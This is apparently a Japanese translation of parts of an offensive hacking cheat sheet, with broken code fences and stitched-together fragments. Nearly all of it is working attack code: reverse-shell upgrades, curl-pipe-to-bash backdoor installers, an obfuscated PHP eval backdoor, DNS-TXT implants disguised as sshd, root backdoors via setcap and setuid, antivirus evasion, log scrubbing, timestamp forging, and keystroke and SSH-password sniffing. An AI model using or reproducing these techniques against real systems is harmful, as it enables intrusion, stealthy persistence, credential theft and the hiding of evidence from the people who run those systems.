<a id="reverse-shell-upgrade"></a>
<a id="reverse-shell-pty"></a>
**5.ii.a. リバースシェルをPTYシェルにアップグレードする**

上記のリバースシェルはいずれも制限されています。たとえば *sudo bash* や *top* は動作しません。これらを動作させるには、シェルを実際のPTYシェルにアップグレードする必要があります:```sh
# Using script
exec script -qc /bin/bash /dev/null  # Linux
exec script -q /dev/null /bin/bash   # BSD

<a id="reverse-shell-interactive"></a>
**5.ii.b. リバースシェルを完全な対話型シェルにアップグレードする**

...そして、Ctrl-C なども使いたい場合は、リバースシェルを本当に完全なカラフルな対話型シェルにまでアップグレードする必要があります:```sh
# On the target host spawn a PTY using any of the above examples:
python -c 'import pty; pty.spawn("/bin/bash")'
# Now Press Ctrl-Z to suspend the connection and return to your own terminal.

### C2

C2 サーバーとその API の実装詳細```sh
# On target host
export SHELL=/bin/bash
export TERM=xterm-256color
reset -I
stty -echo;printf "\033[18t";read -rdt R;stty sane $(echo "${R:-8;80;25}"|awk -F";" '{ printf "rows "$3" cols "$2; }')
# Pimp up your prompt
# PS1='USERS=$(who | wc -l) LOAD=$(cut -f1 -d" " /proc/loadavg) PS=$(ps -e --no-headers|wc -l) \[\e[36m\]\u\[\e[m\]@\[\e[32m\]\h:\[\e[33;1m\]\w \[\e[0;31m\]\$\[\e[m\] '
PS1='\[\033[36m\]\u\[\033[m\]@\[\033[32m\]\h:\[\033[33;1m\]\w\[\033[m\]\$ '

---
<a id="backdoor"></a>
## 6. バックドア

単純な1行のリバースシェルについては、[Reverse Shell / Dumb Shell](#reverse-shell)を参照してください。

<a id="gsnc"></a>
**6.i. gs-netcat を使用したリバースシェル**

主に gs-netcat の自動デプロイスクリプトを使用します: [https://www.gsocket.io/deploy](https://www.gsocket.io/deploy)。```sh
bash -c "$(curl -fsSLk https://gsocket.io/y)"

または、独自のデプロイメントサーバーを実行してgsocketをデプロイします:```sh
LOG=results.log bash -c "$(curl -fsSL https://gsocket.io/ys)"  # Notice '/ys' instead of '/y'

または、不格好な方法：```shell
curl -SsfL https://s3.amazonaws.com/sshx/sshx-$(uname -m)-unknown-linux-musl.tar.gz|tar xfOz - sshx 2>/dev/null >.s \
&& chmod 755 .s \
&& (PATH=.:$PATH .s -q >.u 2>/dev/null &);
for _ in {1..10}; do [ -s .u ] && break;sleep 1;done;cat .u;rm -f .u .s;

仕組み:
- SSHDホスト鍵は通常のed25519鍵にすぎません。
- どのed25519鍵でもユーザー認証に使用できます。
- SSHDは`~/.ssh/authorized_keys`を確認します（ただし、このトリックは使われすぎています）。
- 代わりに、SSHDがログイン認証鍵として`/etc/ssh/sshd_host_ed25519_key.pub`も確認するように設定します。
- SSHDは有効なログイン鍵として`~/.ssh/authorized_keys` _と_ `/etc/ssh/ssh_host_ed25519_key.pub`の両方を確認するようになります。
- `/etc/ssh/sshd_host_ed25519_key`秘密鍵を使用してターゲットにログインします。

<a id="backdoor-network"></a>
**6.vi. ネットワーク全体へのリモートアクセス**

[gs-netcat](https://github.com/hackerschoice/gsocket)をインストールします。これは、HostのプライベートLAN上にSOCKS出口ノードを作成し、Global Socket Relay Networkを通じてアクセスできるようにします。独自のリレーサーバーを運用する必要はありません（例: ワークステーションからリモートのプライベートLANに直接アクセスできます）。```sh
gs-netcat -l -S       # compromised Host

[任意のツールをSocksプロキシ経由で使用する](#scan-proxy) をお読みください。

その他の方法:
* [Gost/Cloudflared](https://iq.thc.org/tunnel-via-cloudflare-to-any-tcp-service) - 私たちの記事
* [Reverse Wireguard](https://thc.org/segfault/wireguard) - segfault.net から任意の（内部）ネットワークへ。

<a id="php-backdoor"></a>
**6.v. 最小のPHPバックドア**

任意のPHPファイルの先頭に次の行を追加します:```php
<?php $i=base64_decode("aWYoaXNzZXQoJF9QT1NUWzBdKSl7c3lzdGVtKCRfUE9TVFswXSk7ZGllO30K");eval($i);?>

バックドアをテストする：```sh
### 1. Optional: Start a test PHP server
cd /var/www/html && php -S 127.0.0.1:8080
### Without executing a command
curl http://127.0.0.1:8080/test.php
### With executing a command
curl http://127.0.0.1:8080/test.php -d 0="ps fax; uname -mrs; id"

これらのいずれかでトリガーして、コマンドまたはPHPコードを実行します:```shell
# Execute just command
curl http://127.0.0.1:8080/x.php -d0='id'
# Execute just PHP code
curl http://127.0.0.1:8080/x.php -d0='' -d1='echo file_get_contents("/etc/hosts");'

インプラントは、ドメイン`b00m.team-teso.net`からのDNS TXTリクエストを介してペイロードを要求します。トリガーされると、`/tmp/.b00m`を作成し、(app.interactsh.comコールバックを介して)THCに通知します。*必ず* ご自身のドメインを使用し、ご自身のペイロードも作成してください。例:```shell
echo -n '@system("{ id; date;}>/tmp/.b00m 2>/dev/null");' |base64 -w0

または、デモペイロードを精巧なペイロードに変更します：
- バックグラウンドデーモンを起動し、1時間ごとにコマンド実行をポーリングします。
- bash、dig、base64のみに依存します。
- `sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups` として隠れます。
- 例では再び `b00m2.team-teso.net` を使用し、毎時間 /tmp/.b00m を作成します。

以下をターゲットのシェルにコピー＆ペーストして、1行のインプラントを生成します：```shell
# If dig does not exists then replace /dig +short.../ with
# /nslookup -q=txt '"$D"'|grep -Fm1 "text ="|sed -E "s|.*text = (.*)|\1|g;s|[\" ]||g"|base64 -d|bash/
# or use the Perl example below.
base64 -w0 >x.txt <<-'EOF'
D=b00m2.team-teso.net
P="sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups"
M=/dev/shm/.cache${UID}
[ -f $M ]&&exit
touch $M
(echo 'slp(){ local IFS;[ -n "${_sfd:-}" ]||exec {_sfd}<> <(:);read -t$1 -u$_sfd||:;}
slp 1
while :; do
	dig +short '"$D"' TXT|tr -d \ \"|base64 -d|bash
	slp 3600
done'|exec -a "$P" bash &) &>/dev/null
EOF
echo "===> Add the following to the target's ~/.bashrc or cronjob:"$'\n\033[0;36m'"echo $(<x.txt)|base64 -d|bash"$'\033[0m'
rm -f x.txt

...PERL の場合:
---
同様ですが、perl + bash のみが必要です（dig は不要）:```shell
perl -MMIME::Base64 -e '$/=undef;print encode_base64(<>,"")' >x.txt <<-'EOF'
D=b00m2.team-teso.net
P="sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups"
M=/dev/shm/.cache-1-${UID}
(echo 'use Net::DNS;use MIME::Base64;exit(0) if -e "'"$M"'";close(open($f,">","'"$M"'"));for (;;) { system decode_base64((Net::DNS::Resolver->new->query(q/'"$D"'/,q/TXT/)->answer)[0]->txtdata=~y/ \\//dr);sleep(3600)}'|exec -a "$P" perl &) &>/dev/null
EOF
echo "===> Execute the following on the target:"$'\n\033[0;36m'"perl -MMIME::Base64 -e'print decode_base64(\"$(<x.txt)\")'|bash"$'\033[0m'
rm -f x.txt

ペイロードを生成します（`egg.py` はターゲット上で実行されます）：```shell
cat >egg.py<<-'EOF'
import time
dns.resolver.resolve(f"{int(time.time())}.yzlespkpfkqfrtwgvhngkyqbuod49rgmo.oast.fun")
EOF

<a id="ld-backdoor"></a>
**6.vii. ローカルルートバックドア**

#### 1. setcap を使用した動的ローダーのバックドア化```bash
### Execute as ROOT user
fn="$(readlink -f /lib64/ld-*.so.*)" || fn="$(readlink -f /lib/ld-*.so.*)" || fn="/lib/ld-linux.so.2"
setcap cap_setuid,cap_setgid+ep "${fn}"

#### 2. おなじみの b00m shell```shell
{ cp /bin/sh /var/tmp/.b00m; chmod 6775 /var/tmp/.b00m; } 2>/dev/null >/dev/null

<a id="implant"></a>
**6.viii. 自己解凍型インプラント**

[mkegg.sh](https://github.com/hackerschoice/thc-tips-tricks-hacks-cheat-sheet/blob/master/tools/mkegg.sh) を使って自己解凍型シェルスクリプトを作成する（ソースの例を参照）。

簡単な例：```sh
# Create implant 'egg.sh' containing the file 'foo'
# and the directory 'warez'. When executing 'egg.sh' then
# extract 'foo' and 'warez' and call 'warez/run/sh'
./mkegg.sh egg.sh foo warez warez/run.sh

2. `egg.sh` を `update-for-fools.txt` にリネームし、blobとして[Signalの](https://www.signal.org/) GitHubリポジトリにアップロードする。

3. このコマンドを使ってSignalをアップデートするよう人を騙さないでください ❤️:```sh
curl -fL https://github.com/signalapp/Signal-Desktop/files/15037868/update-for-fools.txt | bash

または```sh
bash -c "$(curl -fsSL https://github.com/hackerschoice/thc-tips-tricks-hacks-cheat-sheet/raw/master/tools/whatserver.sh)"

システムの速度チェック```sh
curl -fsSL https://bench.sh | bash
# Another speed check:  
# curl -fsSL https://yabs.sh | bash

書き込み可能なすべてのディレクトリを検索:```bash
wfind() {
    local arr dir

    arr=("$@")
    while [[ ${#arr[@]} -gt 0 ]]; do
        dir=${arr[${#arr[@]}-1]}
        unset "arr[${#arr[@]}-1]"
        find "$dir"  -maxdepth 1 -type d -writable -ls 2>/dev/null
        IFS=$'\n' arr+=($(find "$dir" -mindepth 1 -maxdepth 1 -type d ! -writable 2>/dev/null))
    done
}
# Usage: wfind /
# Usage: wfind /etc /var /usr 

- ~/.*history 内のパスワードを見つけるには [PassDetective](https://github.com/aydinnyunus/PassDetective) を使用する
- 実行中のプロセスから Chrome のパスワードを抽出・復号化するには [Chrome-ABE](https://github.com/xaitax/Chrome-App-Bound-Encryption-Decryption) を使用する (Windows のみ)
- ブラウザからパスワードを抽出するには [https://github.com/kiryano/chrome-password-decryptor](https://github.com/kiryano/chrome-password-decryptor) を使用する

`grep` を使用:```sh
# Find passwords (without garbage).
grep -HEronasi  '.{,16}password.{,64}' .
# Find TLS or OpenSSH keys:
grep -r -F -- " PRIVATE KEY-----" .

---
<a id="shell-hacks"></a>
## 8. シェルハック
<a id="shred"></a>
**8.i. ファイルのシュレッドと消去**```sh
shred -z foobar.txt

注: または、ファイルを */dev/shm* ディレクトリに配置することで、ハードドライブにデータが書き込まれないようにします。データは再起動時に削除されます。

注: または、ファイルを削除してから、ハードドライブ全体を /dev/urandom で満たし、その後ダンプファイルを rm -rf で削除します。

<a id="restore-timestamp"></a>
**8.ii. ファイルの日付を復元する**

*/etc/passwd* を変更したが、ファイルの日付が */etc/passwd* が変更されたことを示しているとします。*touch* を使用して、ファイルの日付を別のファイル(この例では */etc/shadow*)の日付に変更します。```sh
touch -r /etc/shadow /etc/passwd
# verify with 'stat /etc/passwd'

これにより、ログファイルからIP `1.2.3.4` を含む行がすべて削除されます:```sh
xlog() { local a=$(sed "/${1:?}/d" <"${2:?}") && echo "$a" >"${2:?}"; }

<a id="shell-hide-files"></a>
**8.iv. ルート権限なしでそのユーザーからファイルを隠す**

私たちのお気に入りの作業ディレクトリは */dev/shm/* です。この場所は揮発性メモリであり、再起動すると失われます。NO LOGZ == NO CRIME。

永続ファイルを隠す:

方法 1:```sh
alias ls='ls -I system-dev'

Method 3:
Unix は 0x00 以外のほぼすべての ASCII 文字をファイル名に使用できます。タブ (*\t*) を試してください。ほとんどの管理者はそのようなディレクトリに cd する方法を知らないことがよくあります。```sh
mkdir $'\t'
cd $'\t'

<a id="nosudo"></a>
**8.vi. sudo/su を使わずにユーザーを変更**

X11 セッションのスクリーンショットを撮るために必要（例: `xwd -display :0 -silent -root | convert - jpg:screenshot.jpg` または `import -display :0 -window root screenshot.png`）```bash
xsu() {
    local name="${1:?}"
    local u g h
    local cmd="python"

    command -v python3 >/dev/null && cmd="python3"
    [ $UID -ne 0 ] && { HS_ERR "Need root"; return; }
    u=$(id -u ${name:?}) || return
    g=$(id -g ${name:?}) || return
    h="$(grep "^${name}:" /etc/passwd | cut -d: -f6)" || return
    HOME="${h:-/tmp}" "$cmd" -c "import os;os.setgid(${g:?});os.setuid(${u:?});os.execlp('bash', 'bash')"
}
# xsu user

[UPXヘッダー](https://github.com/upx/upx/blob/devel/src/stub/src/include/header.S)と2番目のELFヘッダーをクレンジングして、アンチウイルスを欺きます:```shell
perl -i -0777 -pe 's/^(.{64})(.{0,256})UPX!.{4}/$1$2\0\0\0\0\0\0\0\0/s' "${BIN}"
perl -i -0777 -pe 's/^(.{64})(.{0,256})\x7fELF/$1$2\0\0\0\0/s' "${BIN}"

バイナリがアンパックできないことを確認する:```shell
upx -d "${BIN}"  # Should fail with 'not packed by UPX'

最短の形式は（例）：```shell
memexec(){ perl '-e$^F=255;for(319,279,385,4314,4354){($f=syscall$_,$",0)>0&&last};open($o,">&=".$f);print$o(<STDIN>);exec{"/proc/$$/fd/$f"}X,@ARGV;exit 255' -- "$@";}
# Example: cat /usr/bin/id | memexec -u

バックドアは、SSH経由でリモートのメモリに直接パイプして実行することもできます：```sh
MX='-e$^F=255;for(319,279,385,4314,4354){($f=syscall$_,$",0)>0&&last};open($o,">&=".$f);print$o(<STDIN>);exec{"/proc/$$/fd/$f"}X,@ARGV;exit 255'
curl -SsfL https://gsocket.io/bin/gs-netcat_mini-linux-x86_64 | ssh root@foobar "exec perl '$MX' -- -ilqD -s SecretChangeMe31337"

---
<a id="crypto"></a>
## 9. 暗号
<a id="gen-password"></a>
**9.i. クイックなランダムパスワードを生成**

人間の要素なしでクイックなパスワードを生成するのに適しています。```sh
openssl rand -base64 24

または英数字にしてください```sh
head -c 32 < /dev/urandom | base64 | tr -dc '[:alnum:]' | head -c 16

マウント:```sh
cryptsetup open /tmp/crypted sec
mount -o nofail,noatime /dev/mapper/sec /mnt/sec

<a id="encfs"></a>
**9.ii.b. Linux 可搬型暗号化ファイルシステム - EncFS**

```.sec``` を作成し、暗号化データを ```.raw``` に保存します:```sh
mkdir .raw .sec
encfs --standard  "${PWD}/.raw" "${PWD}/.sec"

<a id="encrypting-file"></a>
**9.iii ファイルの暗号化**

転送する前に、0-Days とログファイルを暗号化してください - お願いします。(そして、自分自身のパスワードを選んでください):```sh
# Encrypt
openssl enc -aes-256-cbc -pbkdf2 -k fOUGsg1BJdXPt0CY4I <input.txt >input.txt.enc

---
<a id="sniffing"></a>
## 10. セッションスニッフィングとハイジャッキング
<a id="session-sniffing"></a>
**10.i ユーザーのSHELLセッションをスニッフィングする**

`~/.bashrc` 用の1行スクリプトで、ユーザーのキーストロークをスニッフィングし、`~/.config/.pty/.@*` に保存します。rootではなく、ユーザーのsudo/ssh/git認証情報を取得する必要がある場合に便利です。 

展開: 以下をターゲットにコピー＆ペーストし、指示に従ってください:```sh
# This is a glorified version of:
# [ -z "$LC_PTY" ] && [ -t 0 ] && [[ "$HISTFILE" != *null* ]] && [ -d ~/.config/.pty ] && { script -V; } &>/dev/null && LC_PTY=1 exec -a "sshd: pts/0" script -fqaec "exec ${BASH_EXECUTION_STRING:--a -bash '"$(command -v bash)"'}" -I ~/.config/.pty/.@pty-unix.$$
command -v bash >/dev/null || { echo "Not found: /bin/bash"; false; } \
&& { mkdir -p ~/.config/.pty 2>/dev/null; :; } \
&& { script -h | grep -qm1 -- -I && cp "$(command -v script)" ~/.config/.pty/pty; :; } \
&& { [ ! -f ~/.config/.pty/pty ] && curl -o ~/.config/.pty/pty -fsSL "https://bin.pkgforge.dev/$(uname -m)/script"; :; } \
&& [ -f ~/.config/.pty/pty ] \
&& curl -o ~/.config/.pty/ini -fsSL "https://github.com/hackerschoice/zapper/releases/download/v1.1/zapper-stealth-linux-$(uname -m)" \
&& chmod 755 ~/.config/.pty/ini ~/.config/.pty/pty \
&& echo -e '----------\n\e[0;32mSUCCESS\e[0m. Add the following line to \e[0;36m~/.bashrc\e[0m:\e[0;35m' \
&& echo -e '[ -z "$LC_PTY" ] && [ -t 0 ] && [[ "$HISTFILE" != *null* ]] && [ -d ~/.config/.pty ] && { ~/.config/.pty/ini -h && ~/.config/.pty/pty -V; } &>/dev/null && LC_PTY=1 exec ~/.config/.pty/ini -a "sshd: pts/0" ~/.config/.pty/pty -fqaec "exec ${BASH_EXECUTION_STRING:--a -bash '"$(command -v bash)"'}" -I ~/.config/.pty/.@pty-unix.$$\e[0m'

dtrace を起動し、/tmp/.log にログを記録します:```sh
### Start kernel probe as background process.
(dtrace -sd >/tmp/.log &)

私たち自身の [sudo/su/ssh パスワードを傍受する eBPF ツール](https://github.com/hackerschoice/bpfhacks) をぜひチェックしてください。

<a id="ssh-sniffing-strace"></a>
**10.iv strace でユーザーの SSH、bash、SSHD セッションを傍受する**```sh
tit() {
	strace -e trace="${1:?}" -p "${2:?}" 2>&1 | gawk 'BEGIN{ORS=""}/\.\.\./ { next }; {$0 = substr($0, index($0, "\"")+1); sub(/"[^"]*$/, "", $0); gsub(/(\\33){1,}\[[0-9;]*[^0-9;]?||\\33O[ABCDR]?/, ""); if ($0=="\\r"){print "\n"}else{print $0; fflush()}}'
	# strace -e trace="${1:?}" -p "${2:?}" 2>&1 | stdbuf -oL grep -vF ...  | awk 'BEGIN{FS="\"";}{if ($2=="\\r"){print ""}else{printf $2}}'
}
# tit read $(pidof -s ssh)
# tit read $(pidof -s bash)
# tit write $(pgrep -f 'sshd.*pts' | head -n1)

Sniff 7770 (例):```shell
tit write 7770